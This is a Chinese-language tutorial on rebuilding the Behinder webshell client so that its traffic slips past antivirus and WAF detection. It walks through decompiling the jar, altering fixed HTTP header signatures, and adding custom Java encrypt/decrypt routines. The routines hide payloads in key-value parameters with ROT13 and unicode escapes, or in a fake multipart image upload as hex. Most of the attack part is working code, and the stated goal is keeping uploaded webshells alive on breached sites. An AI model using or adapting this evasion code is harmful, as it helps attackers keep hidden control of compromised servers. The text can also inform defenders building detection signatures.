Behinder介绍
“冰蝎”(Behinder)是一个动态二进制加密网站管理客户端,相比较于传统的老牌工具“菜刀”而言,对webshell的流量进行了相应的加密。”冰蝎”客户端基于JAVA,所以可以跨平台使用,随着版本的升级,兼容性也随之提升。主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大,是现如今必不可少的渗透测试工具之一
时光荏苒
攻防技术一直都在不断发展的,随着防守技术日趋成熟和完善,攻击手段也就需要不断地更新、创新。而”冰蝎”早已不再更新。因此现已被各大厂商的检测系统及WAF对其特征进行了记载与分析,所以这也是为什么在实战中经常碰到“落地成盒”的原因,马子刚传上去就die了, 就更别说拿shell了。因此我们需要在原版的基础上进行改造从而适应当今全新的攻防世界
魔改
可以通过更改流量特征以及添加自己的加密协议,从而达到免杀的效果,因为强特征很容易被杀毒软件识别,当我们修改了特征它就无法判断是否为恶意流量,更改协议也是一个道理,杀毒软件病毒库里面已经存放了冰蝎中内置的6个加密协议,所以需要我们自定义协议来绕过查杀,而冰蝎v4开放了传输协议的自定义功能,使得流量魔改更为简单方便
首先将冰蝎的jar包进行反编译拿到源码
拿到源码之后,新建一个目录把源码和冰蝎4(单放在一个目录里面)放在同一目录
打开ide,在刚才的目录中创建一个新项目,并将冰蝎的jar包导入模块中,并设置好主类,这里的主类一定不要弄错:net.rebeyond.behinder.ui
(注:jdk版本1.8,并且还要把原文件中的数据库文件复制到主文件中,否则过会运行会报错)
在修改之前,我们先看一下behinder数据包原先的样子
其中Accept、Accept-Language特征最为明显,并且UA头是内置的且随机,所以考虑先把一些强特征进行修改,要注意的是:所有的修改不能直接在文件中改需要把整个路径复制到src文件中,把不需要修改的文件可以删掉,不然构建的时候会很慢
我们通过accept特征进行全局搜索,找到了net下的constants文件,而数据包中ua特征和其他特征都在shell文件中,因此就先对这两个文件进行魔改
并且冰蝎中有个固定的Content-type字段:Content-type: application/x-www-form-urlencoded
同样这个特征也可以改,因为这里只有php和aspx的,我们可以添加上jsp和asp
全部改完之后,构建工程和模块重新运行一下看看结果
可以发现基本的强特征都已经被修改,数据包中的ua头和其他关键特征也已经被修改。接下来对数据协议进行自定义加密,绕过主流杀软和waf等安全设备的检测,冰蝎4内置了六种传输协议,但早已被记载
这里分享两种加密,第一种是key-value格式+unicode加密,以jsp脚本类型为例
加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private byte[] Encrypt(byte[] data) throws Exception { String content = "id=1&content=DaYer0&token=1452178369&status=00000"; String result = java.util.Base64.getEncoder().encodeToString(data).replace("+", "<").replace("/", ">"); String str = ""; StringBuffer unicode = new StringBuffer(); for (int i = 0; i < result.length(); i++) { char c = result.charAt(i); unicode.append("\\u00" + Integer.toHexString(c)); } content = content.replace("DaYer0", unicode.toString());
StringBuilder encryptedContent = new StringBuilder(); for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c >= 'a' && c <= 'z') { c = (char) (((c - 'a') + 13) % 26 + 'a'); } else if (c >= 'A' && c <= 'Z') { c = (char) (((c - 'A') + 13) % 26 + 'A'); } encryptedContent.append(c); } return encryptedContent.toString().getBytes(); }
|
解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| private byte[] Decrypt(byte[] data) throws Exception { String content = new String(data); StringBuilder decryptedContent = new StringBuilder(); for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c >= 'a' && c <= 'z') { c = (char) (((c - 'a') + 13) % 26 + 'a'); } else if (c >= 'A' && c <= 'Z') { c = (char) (((c - 'A') + 13) % 26 + 'A'); } decryptedContent.append(c); }
String decodedString = decryptedContent.toString(); java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); bos.write(decodedString.getBytes(), 13, decodedString.length() - 43); String unicode = new String(bos.toByteArray()); StringBuilder sb = new StringBuilder(); int i = -1; int pos = 0; while ((i = unicode.indexOf("\\u", pos)) != -1) { sb.append(unicode.substring(pos, i)); if (i + 5 < unicode.length()) { pos = i + 6; sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16)); } } byte[] decryptedData = java.util.Base64.getDecoder().decode(sb.toString().replace("<", "+").replace(">", "/")); return decryptedData; }
|
最后可以使用冰蝎的传输协议进行测试,如果提示“保存成功”就说明解密加密一致
修改完后同样的我们要把文件放在src目录下,确保文件和之前所在目录一致,我们生成服务端测试一下效果
可以看到流量包中的数据已经被加密。第二种是multipart格式+hex加密
加密
1 2 3 4 5 6 7 8 9 10 11 12 13
| private byte[] Encrypt(byte[] data) throws Exception { String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name=\"uploadFile\";filename=\"test.png\" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--"; String str = ""; String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"); for (int i=0;i<result.length();i++){ int ch = (int)result.charAt(i); String s4 = Integer.toHexString(ch); str = str + s4; } upload=upload.replace("DaYer0",str); return upload.getBytes(); }
|
解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private byte[] Decrypt(byte[] data) throws Exception { java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream(); bos.write(data,150,data.length-195); String s= new String(bos.toByteArray()); byte[] baKeyword = new byte[s.length()/2]; for(int i = 0; i < baKeyword.length; i++){ try{ baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16)); }catch(Exception e){ e.printStackTrace(); } } try{ s = new String(baKeyword, "utf-8"); }catch (Exception e1){ e1.printStackTrace(); } return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
}
|
测试一下效果
最后做一下免杀测试,因为我的win虚拟机上就装了一个火绒,就先做火绒的测试吧,其他自测就好